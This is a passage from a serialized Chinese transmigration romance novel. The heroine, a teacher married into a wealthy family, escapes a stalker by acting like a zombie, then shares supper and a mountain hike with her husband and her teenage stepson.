页面内容简单到刺眼,除了几条冷冰冰的转账记录外再也没有其他。他十指飞快地敲击键盘:【她身体不舒服,今天晚上没有来晚自习。】 发完消息,江许黎不由得握紧双手,本以为这条消息又会像往常一样石沉大海,没想到手机很快震动起来。 J:【好,我知道了。】 看到屏幕上简短的回复,江许黎紧绷的肩膀不自觉地舒展,总算松了口气。 随手把手机扔进课桌,在心里强调:他才不是担心她,只是不想耽误期末考试而已。 可下一秒,少年又鬼使神差地重新拿起手机,在搜索栏输入“女生肚子疼怎么办”。 大概搜索的人太多,已经创建出一个专属词条,里面给出诸多建议:多休息、贴暖宝宝、喝生姜红糖水…… 江许黎皱着眉头一条条往下翻,越看越觉得眼花缭乱,原来女生每个月都要经历这样的痛苦,他突然觉得她们还真是不容易。 等到晚自习结束的时候,金苒终于出现了。 除了脸色略显苍白外,她看起来与平时没什么不同,依然尽职尽责地把学生们送到东校门。 直到最后一名学生离开,她强撑的表情瞬间垮了下来,单手捂着肚子,漂亮的眉头蹙成两座小小的山丘。 她也没想到,原身居然有痛经!虽然喝过止痛药,但效果并不太理想。 江许黎第一次见她露出这副虚弱的样子,心里莫名不得劲,就好似一个热情开朗的花朵被雨打得蔫哒哒。 在他面前,金苒不用再装样子:“江许黎,你能帮我去便利店买些暖宝宝吗?” “好。” 江许黎立刻点头。 连他自己都没意识到这个回应有多么干脆利落。 让金苒待在原地等待,江许黎独自一人去了街对面的便利店。 匆匆拿了几包暖宝宝,准备结账时,似乎想起什么:“有生姜红糖水吗?” “有的,饮品区第三排。”收银员指了指方向。 于是江许黎又折返回去,货架旁边两个女孩子正在小声聊天:“你听说了么?最近这附近出现了一个变态,专门尾随独行女生,等会儿我们两个可千万不能分开。” “真的假的?也太可怕了吧,怎么没有人报警。” 两人还要说点儿什么,忽然身边刮起风,下意识抬起头,只见一个高挑的男生从她们身边飞奔而过。 与此同时,站在路边等待的金苒再次感觉到熟悉的腹痛。 她咬住嘴唇,下意识想要去厕所处理,奈何学校已经关门,只能去附近的公共厕所。 路灯昏黄,忽明忽暗,这边金苒刚走进小巷,身后突然传来一阵刻意放轻的脚步声。 第38章 第38章或许根本不是演的 金苒从厕所出来后,发现肚子居然没那么疼了。 如果说之前的疼是有把钝刀在她腹部来回刮蹭,让人恨不得直接晕过去,现在的疼则换成了软绵绵的羽毛,偶尔会在伤处口挠一挠,用隐隐的刺痛提醒它的存在,但基本上可以忽略不计。 这让金苒感到奇怪,思来想去,终于想到了一个小时前吃的止疼药,当时徐珍说需要提前喝,但因为她肚子已经很疼了,所以根本没有提前一说。 现在想想,大概是止疼药发挥了药效? 无论如何,她都长长松了口气,再疼下去她都想要叫救护车了。 然后隔天的娱乐新闻上便会出现她被送去医院的画面,配字——世界上第一个因为生理期疼痛叫救护车的女人,到底是道德沦丧还是人性扭曲?让我们一起来注焦当下女性生理困境,关爱女生身体健康…… 很好,那么到时候的她不是被姨妈疼死,就是直接宣布社会.性.死亡。 洗干净手,金苒一边往外回走,一边低头回复江明羧的消息,字还没有打完,对方的电话就打了过来。 “在哪边,怎么没有看到你们?” 金苒停下脚步,目光环顾四周,这个公共厕所的位置不算远,抬头还能看到便利店的半角灯牌,只是栽满了绿化树,白天绿荫如盖,很是清凉,到了夜晚却把两边的灯光给遮得严严实实:“你到了?我刚才去了卫生间,现在正在往回走,小黎这会儿大概在便利店……” 突然,她话音顿住,均匀的呼吸也出现了一丝错乱,江明羧敏锐地察觉到了其中异样,问:“怎么了?” 金苒的视线掠过躲在树后的人影,随即若无其事收回。 听到江明羧的话,她似乎很高兴的样子,嗓音都提高了许多:“没什么,只是突然想起来一件事情,亲爱的,你还记得上次送我那条鱼尾项链吗,我打算把它送给小黎,这个年纪的孩子都爱美,你说他会不会高兴啊?” 江明羧安静了刹那,很快便沉声道:“具体哪边,我过去接你。” “那你得快点,我可不想等太久,就在便利店往右走大概两百米,看到一颗歪脖子柳树。” “嗯,保持通话,不用挂断电话。” 学校门口,江明羧询问出地点后,视线迅速扫视过周边环境,然后便根据金苒的描述确定了大体的方位。 他眉头紧锁,神色也逐渐变得凝重,毕竟金苒从未用过“亲爱的”这种肉麻称呼,而且送江许黎人鱼项链?那小子不发火才怪。 就在这时,“爱美”的江许黎气喘吁吁地从便利店跑出来,塑料袋在手中划过平直的弧线,开口第一句话却是:“快去找她,这附近有变.态!” 江明羧看过去:“你怎么知道?” 江许黎急了:“我听其他人说的,不是,都什么时候了还问这么多,难道您不担心她的安危吗,您不去是吧?行!我自己去!” 不等旁人说话,他自己便是一连串输出,越说越激动,最后倒把自己气得脸红脖子粗。 眼看着人要离开,江明羧头疼地把人喊回来:“先上车!” 另一边,金苒发现自己被人尾随的时候,有一瞬间的慌乱。 但很快,她又镇定下来。 江明羧那样聪明的人,肯定能听明白她的暗示,两边距离并不远,想必对方很快就会赶过来。 她现在只需要和尾随男拉开距离,确定对方身上没有尖锐的武器,然后尽可能保护自己的安全。 甚至眼下,金苒还有空闲胡思乱想——这种冲突的剧情难道不应该是男女主专享吗,为什么会轮到自己一个路人甲弃妇啊。 并非替坏人开脱,而是小说世界中一切事情都围绕着男女主运转,所有的好人都会喜欢女主,无私帮助女主,所有的坏人都会前仆后继地找麻烦,像打不死的小强。 她非常咬牙切齿地谴责了一番作者,也不知道这辈子还有没有机会回去,否则她一定要去给作者留言,让对方别再写这样千篇一律的剧情了! 大概是太安逸了,连老天爷都看不下去。 在金苒天马行空时,原本是一直远远跟着的变态突然从树后走了出来,并快步朝着这边走过来。 金苒:“???” 她大惊失色! / 变态就是变态,没有必要一出现就要从他的童年乃至过往经历中寻找原因。 陈伟就是这样一个没有理由的变态。 一开始,他只是在夜晚无意与一个陌生女孩同路而行,对方却突然露出惊惶的神色,那种战 栗的表情,意外地取悦了他。 之后,为了追求这种扭曲的快.感,陈伟开始主动物色猎物。 首要条件是漂亮,其次性格最好怯懦点儿——这样的猎物受了欺负,往往不敢声张,如此标准下,时常出现在附近的金苒就成了陈伟的目标。 金苒的样貌算得上惊艳,性格却是乖乖巧巧的,爱笑爱闹,还是学校老师,职业的加持下更显得“珍贵”。 陈伟暗中观察了好几天,终于在今天找到了机会。 离得越近,他脸上的表情越发陶醉,脑海中早已经预演过无数遍这样的画面——恐惧、害怕,无休止的恶意。 女人惊慌失措的表情,颤抖的求饶声,以及被拒绝后崩溃的模样,光是想象就让他兴奋得手指发颤。 终于,两人之间的距离只剩下两米,路灯的光从头顶洒落,陈伟看到了金苒。 然后,脸上的笑容就有些维持不住了。 说好的害怕呢? 想象中的画面并没有出现,金苒本人看起来相当镇定,不只是镇定,甚至于算得上饶有趣味。 趣味?她感到有趣? 陈伟觉得事情有点儿荒唐起来,但很快,他便发现荒唐的事情不止这些。 因为眼前的美女突然裂开嘴角,越裂越大越裂越大,身体关节也发出“咔咔”的怪响,手臂以不可能的角度反折,脖子歪向一边,整个人像提线木偶般抽搐起来。 大晚上,夜黑风高,四周寂静无人,猛然看到这副画面堪比看到世界末日。 陈伟的冷汗瞬间浸透了后背,下意识后退:“你,你不要吓我啊……” 金苒不语,只一味变身丧尸。 当她扭扭曲曲,迈着六亲不认的步伐朝陈伟伸出“魔爪”,后者再也抑制不住恐惧,连滚带爬地转身逃命。 “丧尸——有丧尸!”陈伟歇斯底里地喊着,在巷口险些撞上匆匆赶来的父子两人,他头也不回,只留下一串凌乱的脚步声在空气中回荡。 街道突然安静下来,夜风卷起几片落叶飞扬而过,昏黄的路灯在石板路上投下光影。 而陈伟口中的“丧尸”此刻正站在原地,凌乱的长发间露出一双明亮的眼睛。 江许黎目瞪口呆,江明羧在一开始的震惊后,很快露出了果然如此的表情。 另一边的金苒也看到俩人,紧绷的神经彻底松懈下来,这一放松,双腿顿时有些发软,整个人不受控制地往前倾倒。 关键时刻,左右两只手扶住了她。 感受着胳膊上传来的温度,金苒砰砰直跳的心终于安定下来,天知道她刚才都快要吓死了,要不是想起曾经看过的丧尸电影,灵机一动扮演丧尸,还不知道要发生什么。 她忍不住道:“你怎么才来啊。” 人在脆弱的时候情感的需求便会同比例增长,这会儿的金苒就感觉很是委屈。 她好好走路,莫名其妙遭受无妄之灾就算了,还被父子俩看见狼狈的样子。 于是一开口,嗓音不自觉流露出几分撒娇似的抱怨。 但很快,金苒理智就回笼了。 觉得自己实在有点儿过于无理取闹,从时间来看,江明羧来得够快了,这样的抱怨有些不应该。 出乎意料的是,男人并没有生气:“抱歉,是我来晚了。” 金苒反而不好意思起来,连忙摆摆手:“没有了,要不是知道你们在附近,我肯定不敢这样做。” 江明羧:“嗯,这次确实侥幸,但这件事情和你没有关系,是对方有问题。” 男人眼底划过一丝戾气,语气变得冷淡:“这样的人不能放任,来之前我看过这附近有几个摄像头,应该拍到了画面,后续报警让警察处理吧。” 他没有忘记,她今天身体不适。 闻言,金苒点了点头。 这次只是自己幸运,如果对方没有上当,如果其他女孩子遇到这样的事情,谁也不能保证后果会如何。 三言两语间,两人已经敲定了后续处理方案。 一旁,从来没有见过他爸露出这副样子的江许黎惊呆了。 原来他爸也有“温柔”的一面! 转念一想,又觉得理所当然。 要是他爸对金苒也像对自己那样冷硬,怕是这辈子都讨不到老婆。 等警察过来做完笔录,表示让三人先回家,后续有消息会通知他们。 路上,江许黎后知后觉想起刚才的事情,先是打量金苒的细胳膊细腿,觉得不可思议,因为实在好奇,犹豫许久还是别扭地开口:“那个,你刚才那招是怎么做到的?” 四肢扭曲,脖子垂落,和电视剧里的丧尸似的。 金苒张了张嘴,刚准备传授点儿师范生的演戏技巧,忽然被江明羧打断:“时间不早了,我出来的时候程管家说会准备宵夜,先回家吧。” 于是金苒瞬间忘记了想说的话,转而惊喜地追问是什么宵夜。 “不清楚,但应该有羊肉和牛肉。” 这两种都是性温热的蛋白质,对女性身体好。 闻言,金苒眼睛亮晶晶。 牛肉和羊肉涮火锅最好吃了,还有嫩滑爆香的黑椒牛柳,去膻解腻的羊肉萝卜煲,光是想一想,口水就要流下来! 被忘记的江许黎默默看了一眼他爸,不明白他为什么要打断自己,但也没有放在心上。 因为他也好奇是什么宵夜。 一大一小难得默契地加快脚步,兴冲冲地朝停车的地方走去,也就没有注意到,身后江明羧过于复杂的眼神。 望着女人欢快的背影,他疲惫地揉了揉鼻梁,心想,或许根本不是演的。 第39章 第39章你儿子给我买的 在察觉金苒不对劲的时候,江明羧就已经派了人去查金家的事情。 这一查,倒真查出来一点儿问题。 两人协议联姻之前,“金苒”曾出过一次车祸,清醒过来后便仿佛变了一个人——从前只知道玩乐的大小姐,莫名开始插手家族生意,在董事会面前嚷嚷房地产行业走下坡路,转而让家族投资新能源。 可惜她似乎只知其然不知所有然,拿不出让人信服的东西,董事会当然不会听取。因为能力有限,加上金家积弊已久,最终还是没能扭转破产的结局。 再之后,金苒突然和谈婚论嫁的男友分手,坚持替堂姐联姻,嫁给自己。 思及此,江明羧眼神有一瞬间的阴霾。 但很快他又低垂下眉眼,将那些翻涌的情绪尽数掩藏。 可以确定的是,现在的金苒和联姻时的“金苒”不是同一个人,至于原因……大概和之前的车祸类似。 失忆?多重人格?还是干脆换了灵魂。 经过这段时间的观察,江明羧发现她不畏惧太阳,在光下会有影子,身体也与正常人无异,是温热的。 本来有些奇怪,今日一看,原来是他猜错了方向。 小孙开车载着三人回到硕果湾。 经过业主会所那条路时,急着吃宵夜的金苒想起一件事情,连忙对小孙说:“等会儿在前面花坛旁停一下,我去取个快递。” 她昨天买了点儿东西,忘记告诉管家,包裹已经在快递点待了半天时间。 这会儿正好路过,想着来都来了,没必要再让管家跑一趟,自己就能顺手取走。 不过东西有点多,金苒担心一个人拿不完,便很自然地向前排的江许黎发出邀请:“你陪我一起去拿吧。” 江许黎撇撇嘴,虽然没有应声,身体却默默推开车门下去。 金苒更是没有想那么多。 作为数学老师,她在学校里指使江许黎的次数更多,不知不觉中已经形成了习惯,加上买的东西是搭档学习的小奖品,让江许黎这个学生做劳力正合适。 所以她下意识掠过了江明羧,哪怕对方就坐在自己的旁边。 江明羧淡淡看了一眼。 突然开口:“东西很多吗?” “啊?”金苒回过神,“哦,其实还好,只是小物件的包装有点儿零散,我怕一个人拿不了。” “这样,那我和你们一起去吧。”他顺理成章道。 金苒本来打算拒绝,觉得几个快递实在没有必要兴师动众让所有人都去,但见他已经解开安全带,还是安静闭了嘴。 硕果湾的物业也没有想到,他们今天会迎来一个稀客。 作 为高档别墅区,硕果湾内部其实有着严格的等级划分。江明羧作为VVVVIP级业主,住在整个小区最贵的那排联排别墅里,那边的住户都是非富即贵,物业平日里恨不得把他们供起来,逢年过节更是要精心准备礼物上门拜访。 不过即便送礼,他们也见不到忙碌的江明羧,而是和那位姓程的管家交流。 听到下面的实习生说江明羧过来,物业的经理硬是从床上爬起来,然后一路狂奔过来,这个时候,他无比庆幸当初为了工作方便,买了附近的房子。 刚进门,经理便看到一个西装革履的男人同值班老张聊天,旁边还站着一个年轻漂亮的女人和少年,两人凑在一起嘀嘀咕咕,不知道在说些什么。 他赶紧整了整衣领,笑容满脸地走上前:“江总,这么晚了您还亲自过来,真是让我们这儿蓬荜生辉啊!有什么需要帮忙的,您尽管吩咐,我们物业一定全力配合!” 金苒刚把取件码告诉江许黎,耳边突然传来一阵夸张的奉承,抬头看见一个中年男人对着江明羧滔滔不绝地吹捧。那谄媚的架势让她忍不住头皮发麻,对比起来,江明羧倒是神色如常,连眉毛都没动一下,仿佛早已习以为常。 金苒不由得佩服男人的荣辱不惊。 然后转头去看江许黎,少年同样一脸牙酸,反应比她还要夸张。 金苒瞬间舒心了,不是她的问题。 在江许黎看过来时,她甚至还意味深长地感慨:“果然年纪小,还得修炼啊。” 江许黎:…… 听不懂这个女人在说什么。 那边,经理东拉西扯地寒暄了好一阵,终于小心翼翼地切入正题:“江总这么晚过来,是有什么需要我们物业做的吗?” 江明羧语气平淡:“没事,只是顺路和我家人过来取快递。” 原本已经做好应对各种棘手问题的物业经理当场愣住:“取,取快递?” 嘴上这样说着,眼睛已经看向旁边被他忽视的两个人。 那个美丽动人的年轻女人拿着好几个快递盒,还顺手往江总那儿塞:“你先帮我拿着这些,我再去找剩下的。” 而一向神龙不见首的的江总居然就这样接住了,他分明看到那纸箱子上面还沾着灰尘呢! 江明羧似乎没有察觉旁人的震惊,开口道:“不耽误经理时间了,我先去帮我太太找快递。” 经理一个激灵回过神,笑着道:“哪里算得上打扰,江总请随意,请随意。” 江明羧颔首。 等一家三口去里面的货架找快递,物业经理才反应过来,气得把实习生叫过来,压低声音骂了一顿:“你怎么没说清楚是来取快递?!” 实习生也委屈:“咱们B区不就是快递点嘛。” 言外之意,是你自己想差了。 见她理直气壮,经理高血压都要犯了,打死他都没有想到,堂堂公司总裁会在下班后亲自来快递点取快递,这事说出去怕是都要被人骂造谣。 抬手指着实习生哆哆嗦嗦半天,最后也没有说出一句反驳的话,实习生见状吐了吐舌头,果断开溜。 比起应付更年期的上司,她还是去帮尊贵的业主找快递吧。 徒留物业经理站在原地,短暂的恼怒过后,脑子飞快地转了起来。 他想起江明羧刚才说的“陪家人”,再结合眼前的情形,同行的十几岁少年大概率是江总的孩子,经理曾经见过对方,现在想想,的确有点儿像。 另外一个漂亮女人没有见过,但仅凭对方随意指使两个江家男人拿快递的样子,经理已经确认对方身份。 恐怕就是那个传说中的江太太。 这让他不由得重视起来。 之前没有听过这位江太太的消息,以为是个怯懦无能的富家小姐,现在看来,人家哪里是无能,分明是满分大佬碾压后的低调。 所以金苒三人拿完快递,准备离开的时候,物业经理再次迎上来。 这次他不再只奉承江明羧一个人,而是同金苒也聊了一两句。 “江太太可能不知道,我们物业提供快递上.门.服.务,下次您只需要打一个电话,我们立即派人给您送过去。” 闻言,金苒微微惊讶。 她以为家里的快递都是管家取的,没想到竟是物业送上门,看来硕果湾物业的服务确实周到体贴。 想起上辈子她住的小区物业,不仅变着花样收钱,她为了给水卡充钱,足足跑了一周才冲上。 问就是不在,没时间,改天再来。 以至于朋友买房征求她意见时,她唯一的建议就是一定要先考察物业的服务质量! 不过她猜测,像硕果湾这样的顶级服务,物业费想必也相当可观,后面听到经理说他们会定期组织业主活动和各种增值服务,为小区业主提供完美的生活环境,她非常爽快地答应对方加入业主群。 不谈其他业主看到群里进来“新人”的想法,回到家中,程管家和王厨师早已将鲜嫩的牛羊肉切成薄片,整齐地码在长盘中。 炎炎夏日,能在凉爽的空调房中吃火锅确实是一件享受的事情,只是看着清汤锅底,金苒总觉得少了些什么。 她忍不住瞥向旁边麻辣锅底的方向,却被江明羧及时制止:“你最近身体不适,还是别吃辛辣为好。” 金苒怔了怔,反应过来脸瞬间红了。 他怎么知道的?自己好像没有说过吧。 还是两人的关系已经好到他对原身的生理日期一清二楚? 疑惑之际,对面吃得头都不抬的江许黎突然被清汤锅呛到,捂着嘴疯狂咳嗽后又手忙脚乱去拿水杯,那副眼神躲闪的样子让金苒明白了什么。 她眯起眼睛。 怪不得这小子今天这么老实,让他干什么就干什么。怪不得家里特意准备了滋补的牛羊肉,还有程管家刚才见她回来时那副欲言又止的模样,现在也都说得通了。 她一时忘记尴尬,啧啧称奇地打量着江许黎,心想,这算不算无意攻略了便宜继子? 餐桌对面,感受着落在自己身上的热切目光,江许黎的红温从脸逐渐红到脖子,梗道:“我只是顺嘴一提。” 金苒笑得和蔼:“好了,不用多说,我都明白。” 江许黎:?不是,你明白什么啊? 后面他把暖宝宝和生姜红糖冲剂给金苒时,女人的笑容更加促狭,看得江许黎表情僵硬,离开的时候身后好似有洪水猛兽一般。 金苒捂着腰笑起来。 路过的江明羧投过来好奇的目光,她干脆主动打开塑料袋让他看:“你儿子给我买的~” 江明羧挑了挑眉:“他对你倒是不错。” “有吗?”金苒歪头想了想,觉得好像的确是这样的,虽然嘴上硬了点儿,像只张牙舞爪的螃蟹,实际从来没有做过过分事情,甚至对她的态度算得上尊重,“可能是尊师重道吧,总不能是孝顺?” 说着,她自己都笑起来。 江明羧无奈摇头:“他可从来没有给我买过东西。” 关于这一点金苒很有发言权:“那是因为你总是批评他,他肯定害怕你这个严父,哪里敢给你买东西啊,说不定买的不合心意,还要担心被你凶。” “他害怕我?”江明羧似乎很是困惑,于他的印象中,江许黎从小叛逆不服管教,从老家接过来的时候整个人脏兮兮的,吃饭狼吞虎咽,接连气走了五个保姆。 金苒非常笃定地点点头,学着男人的样子板起脸,她长相清纯漂亮,便是做这样的表情也显得可人,杏眼眯起,嘴角紧抿,带着三分漫不经心四分冷酷无情斜眼瞥过去:“就这样,我看着都害怕。” 江明羧:“……” 第一次从旁人角度看“ 自己”,这种感觉很是稀奇,毕竟他从来不在意外界评价,心性如磐石般坚定,做好的决定,无论旁人说什么也无法撼动。 可此刻,他却因她的一番话,心底泛起几丝微妙的涟漪。 深深看了面前的女人一眼,触及对方眼底的笑意,便知道她是故意调侃。 “确实很可怕,” 江明羧收敛眉睫露出遗憾的神情,状似不经意说道,“那之前说好的项目推介方案,想必你也不敢要了。” 模仿得正开心的金苒笑容一僵。 “推介方案?什么推介方案?” 江明羧挑了挑眉:“关于文承中学对外招资引商的一二三计划。” 他念的正是金苒那份方案的标题,顿时,金苒心中直呼失误,早知道他已经把她的方案改好,她说什么也不会戏弄他啊。 就算戏弄,不能等拿到手再戏弄? 心中头脑风暴,现实中,金苒在头铁和滑跪之间纠结了零点零一秒,艰难地选择了后者。 她改口道:“我说笑的,其实一点儿也不可怕。” “嗯?你刚才还说很害怕……” 金苒一脸正经地打断他:“那是因为我害怕以后再也找不到能写出这么完美方案的.枪.手。” 说完之后,默默在心里给自己点了个赞。 不直接夸人,但字字行行都是夸人。 拍马屁的最高境界莫过于此。 果不其然,江明羧没忍住,指骨抵着鼻尖笑起来。 / 金苒最后还是如愿以偿拿到了自己的推介方案。 不得不说,不愧是大佬,能从金苒那冗杂繁复的平铺直叙中精准概括出优势,甚至还补充了最新的市场数据、投资回报测算以及风险评估。 看着这份方案,她突然意识到,为什么自己第一次的投石问路会失败了。 她仔细地将这份高含金量的推介方案收起来,想着如果有下次机会,她一定不会辜负江明羧的这份帮助。 / 周五,教师编笔试成绩发布,金苒高分通过。 之所以知道是高分,是因为他们临时的爬山小群里,其他老师的成绩都没有金苒高。 群友:【恭喜!】 群友:【这个成绩恐怕能排咱们这个区的前几了吧?】 群友:【没想到群里还有学霸,等明天爬山的时候我可得好好瞻仰学霸的风采】 都是年轻人,又同属教师行业,大家聊起天来很是投机,金苒子在群里表达了感谢,了解清楚明天的集合时间便退了出去。 徐珍发消息问她明天爬山穿什么。 金苒想了想,爬山还是穿有弹性的运动服才舒服,但她又害怕晒黑,正纠结之际,管家端着果盘从三楼下来。 得知金苒为明天的服装发愁,立刻善解人意把几个合作商的名片推给她:“这几个运动品牌和先生常年有合作,每一季都会送新品过来,不过之前家里没有女主人,送的全是男装,太太不妨看看他们的防晒系列。” 又感慨:“现在的天气最适合踏青,以前少爷也爱出去玩,这几天却是一回来就把自己关在房间,连花园都不去了。” 闻言,金苒感到诧异:“他最近一直这样吗?” 虽然两人住在一起,但一个在二楼一个在三楼,加上作息时间并不同步,所以她对江许黎在做什么根本不了解。 “可不是嘛,不停不休地看书,人都瘦了一圈,老话说,学问要细水长流,得一步一步慢慢来,哪里能一口吃成大胖子。”管家话音里满满的担忧。 金苒暗暗点头。 学习要劳逸结合,张弛有度,否则等不到期末考试,人就要先倒下了。 管家看着金苒,灵光一闪,突然提议道:“要不太太带着少爷一起去爬山吧。” “啊?”金苒有些犹豫,“这……他可能不愿意吧。” 管家笑呵呵:“少爷很喜欢太太,太太问他,说不定会同意呢。” 金苒一时无话可说,因为实在不知道管家从哪里看得出江许黎喜欢自己。 不过想到前些日子的“生姜红糖水”,她也没有拒绝。 周六清晨,江许黎正沉浸在睡梦中,忽而被一阵敲门声吵醒,他不耐烦地拉开房门,却对上女人盈盈的眉眼。 “要不要去爬山?”金苒笑着邀请,“今天天气特别好,适合出门呼吸新鲜空气,同行的还有几位语文老师,正好你可以向他们请教最近遇到的难题。” 江许黎:“……” 他做梦似的看了一眼窗外刺眼的阳光,第一反应——这种酷暑天去爬山,他会不会被晒成鱼干? 内心颇为抗拒,刚要准备拒绝,金苒的手机响了起来,徐珍清脆的声音从听筒传出:“苒苒,你出发了吗,我表哥今天开车,要不要去接你啊?” 正要转身回房的江许黎突然停住脚步。 表哥? 他不动声色问:“你们爬山的人有很多?” 金苒以为他怕生,体贴道:“大概七八个人,不过我们可以自己走自己的。” 谁知还没说完,江许黎已经干脆利落地点头:“行,那走吧。” 这下换成金苒感到不可思议,明明刚才还一脸不情愿—— 算了,她摇摇头,反正自己的目的已经达到。 第40章 第40章好后妈,好老师 因为江许黎的同行,金苒婉拒了徐珍的搭车邀请。 她换上了品牌送过来的最新季防晒运动服,化了一个淡淡的素颜妆,然后仔细把露出来的肌肤全部涂上防晒霜,连耳后也没有放过,做完这些犹不放心,顺手揣了一瓶防晒喷雾。 等楼下的江许黎已经等的有些不耐烦时,她终于提着爱马仕包包,施施然出现。 “也不知道什么时候会回来,先和你爸说一声吧。” “随你。” 于是金苒给已经去公司上班的江明羧发了一条微信。 两人打车来到丘平山。 山麓处,俱乐部的老师们正聚在一起聊天,金苒的到来让众人眼前一亮。 美人在骨不在皮,有些美女,哪怕不看脸,只看背影你就知道她是美女,金苒便是如此。 一身长袖长裤的防晒运动服,旁人穿着大概膀大腰粗,她却显得身材越发高挑纤细,脸颊被口罩遮住,只露出高挺的鼻梁和一双眼睛,但那双眼尾微微上挑的杏眼,像是盛着盈盈秋水,眼波流转间便让人移不开视线。 “苒苒!” 徐珍第一个回过神,高兴地迎上前,“你可终于来了,咦,这是新人吗?” 她看向同金苒一起出现的江许黎,同包裹得严严实实的金苒不同,少年除了戴了一顶鸭舌帽,再没有其他防护,这会儿被太阳一晒,白皙的脸颊已经泛起红意。 徐珍只觉得眼前一亮。 哪里来的小帅哥?! 作为一名上班还要歪歪剧情的小说女来说,徐珍脑子里存着好几T的资料,当然,都是正经可以播出的资料,她不搞颜色那一套。 比如此刻看到江许黎,她脑海中冒出来的是高冷学霸校草,是娱乐圈新晋流量,是邻家偏爱竹马! 徐珍顿时朝金苒递了一个“姐妹你不够意思”的眼神:“这是谁啊,是你的弟弟吗?” 江许黎闻言微微一怔。 他一直清楚金苒与他爸的年龄差距——她比父亲年轻许多,甚至只比自己大了十岁,以至于当初得知父亲再婚时,他还曾在心里暗骂过“老牛吃嫩草”。 不过真正相处起来,他反而没有在意过年龄,金苒身上有一种与生俱来的从容气质,言行举止流露着“师者风范”,总让人不自觉地听从她的话。 这还是第一次被人当面询问两人的关系。 江许黎有些纠结。 按道理,金苒是他爸的妻子,而他理所当然要叫对方一声后妈或者阿姨,但因为他一开始并不愿意承认金苒的身份,所以每次见面都会选择无视,时至今日,他居然从未正儿八经称呼过她。 可让他当着别人的面叫她妈,也绝对办不到。 正当江许黎犹豫该如何解释自己和金苒的关系时,那边金苒已经毫无压力地开口:“他是我学生,期末压力大,带他出来透透气。” 笑话,他不愿意叫她妈,她还不想平白多个儿子呢。 要知道她今年才二十五岁!正 是青春灿烂的年纪,本应该吃吃喝喝玩玩乐乐,尽情享受人生,才不要成为那种和朋友出来玩,还要围绕着孩子转的家庭主妇,会被人笑话死的! 江许黎:“……” 把这个身份给忘记了。 但……怎么感到了嫌弃? 江许黎一时不知道该难过,还是替他爸难过。 徐珍恍然大悟,然后忍不住挽住金苒的手臂:“好啊,怪不得能让校长夸呢,出来爬山都不忘关心学生,也太敬业了吧!” 倒显得他们和后老师似的。 其他人也纷纷夸赞金苒敬业,一时间,金苒在管家那儿误领“好后妈”人设后,误打误撞又赢得了“好老师”的名声。 嗯……这算不算人生如戏,全靠演技? 丘平山坐落A市郊区,是A市周边为数不多的山丘景区,加上最近附近圈了大片地皮,传言政.府打算打造环城游憩带的网红景点,已经开始招商引资,所以每到周末节假日,提前来打卡的游客络绎不绝。 爬山俱乐部的成员们在山脚下集合,清点好人员和装备后便准备出发。 考虑到每个人的体力差异,领队约定好两小时后在玻璃栈道集合。 王琛本是队伍里的快脚,今天却特意放慢了脚步,慢慢同金苒和徐珍齐平:“爬山要注意节奏,呼吸跟着步调走,两步一吸两步一呼,金老师和小珍今天第一次,不用着急,可以慢慢爬。” 他态度爽朗,完全就是一个阳光大男孩的样子,让人不自觉信任。 王琛讲解了许多有用的登山小技巧,还主动帮两人调整膝盖处的整备,徐珍看到后揶揄道:“平时可没见你对我这个表妹这么好,怕是醉翁之意不在酒啊。” 王琛顿时闹了个大红脸:“胡说什么,你们是我带来的,我肯定要负责到底。” 说罢转头去帮金苒处理,却在这时横.插.过来一条腿,仰头看到金苒带来的那位学生正冷眼睥睨着他:“麻烦了,王老师。” 王琛:“……” 他怀疑自己大概被太阳晒出了错觉,否则为什么觉得这学生的眼神有点儿凶呢。 但也没有多想,利落地帮他绑上护膝,等再起身时,旁边的金苒已经调整好。 王琛莫名有些遗憾。 后面的爬山路,他帮忙拧水,江许黎正好口渴;他提议拍照片,江许黎催促快点儿;等到了玻璃栈道,他要去上厕所,江许黎立刻把人推出人群:“去吧,我们先走了。” 身后,金苒眯起眼睛。 聪明如她,还有什么明白不了,今天江许黎哪是来爬山,分明是来盯梢的! 金苒一直觉得江许黎很别扭。 明明不喜欢父亲再婚,可见她和异性出来爬山,却又亦步亦趋地跟过来。 后面,她故意和其他男同事搭话,果然看到江许黎快要拧成麻花的眉头。 趁着众人不注意,金苒把少年拉到旁边,抱臂怀胸地.逼.问:“说吧,打算做什么,和你爸告状?” 江许黎下意识皱眉:“谁要和他告状,”他淡淡看了她一眼,小声蛐蛐,“我才不像你似的。” 金苒:“……” 原身为了“好后妈”的名声,没少做偷偷跟踪继子,背后向江明羧打小报告的事情,不怪少年这样吐槽。 “那你现在是做什么?”金苒目露疑惑。 江许黎犹豫了下,开口道:“我怕他打你。” 所以提前将苗头掐死在摇篮,防微杜渐。 金苒:“?” 她很是诧异:“你爸还打人?” 江许黎认真想了想,摇头又点头:“我没见过,但我听老家的亲戚说他打架很厉害。” 金苒有些想笑,又有点儿无奈:“如果你爸因为我和异性走得近就打我,那不管他多有钱,我肯定会和他离婚。” 哪怕心有所图,但她还是有底线的,底线就是这辈子乃至下辈子都接受不了丑男和家暴的人渣! 江许黎迅速从中抓住关键:“所以你是为了钱才嫁给我爸?” “…这不是重点,重点是你担心的那些事情不会发生的,大可放心。” 说到这里,金苒心中忽然升起几丝好奇,问道:“你们老家还有亲人吗?我怎么从来没有听说啊。” 小说中只提及江明羧自幼父母双亡,靠自己打工生活,后面遇到富人资助才重返学校完成学业。 穿书至今,她也从来没有见过老家那边的亲戚。 而且哪有亲戚当着孩子的面说对方父亲的坏话,这不是故意挑拨离间嘛。 江许黎却好似没有怀疑似的:“我爸和他们不太来往。” 严格来说,江明羧对老家人谈得上厌恶。 这么多年,老家那边的亲戚不是没有找来,想让“出人头地”江明羧照顾一二,但每次这些亲戚总是头天登门,第二天就悄无声息地离开。 小时候的江许黎觉得奇怪,还以为亲戚会变戏法,直到后来才意识到那些人是被他爸给“赶”走的。 “他们说,我妈……也是被我爸赶走的。” 闻言,金苒怔住。 斑驳的阳光透过茂密的树叶,在少年脸上投下细碎的光影。他的表情平静得近乎淡漠,连声音都听不出起伏:“但我觉得他们说的不一定是真话,所以我想回去看一看。” 这些事情藏在江许黎心里已经很久了,从未和其他人提起过,但或许是今天的阳光太好,或许是第一次有人这样安静地听他说话。 又或许只是目光所及之处,有一簇盛开的黄色野花,摇摇曳曳的可怜劲儿让他突然就有了倾诉的欲.望,于是毫无缘由的,将一切诉说而出。 他的想法很简单,既然没有人告诉他答案,索性自己去寻找答案。 金苒一时沉默下来。 她不知道该说什么,这种时候好像说什么都不合适。 加油?好像有点儿浮于表面。 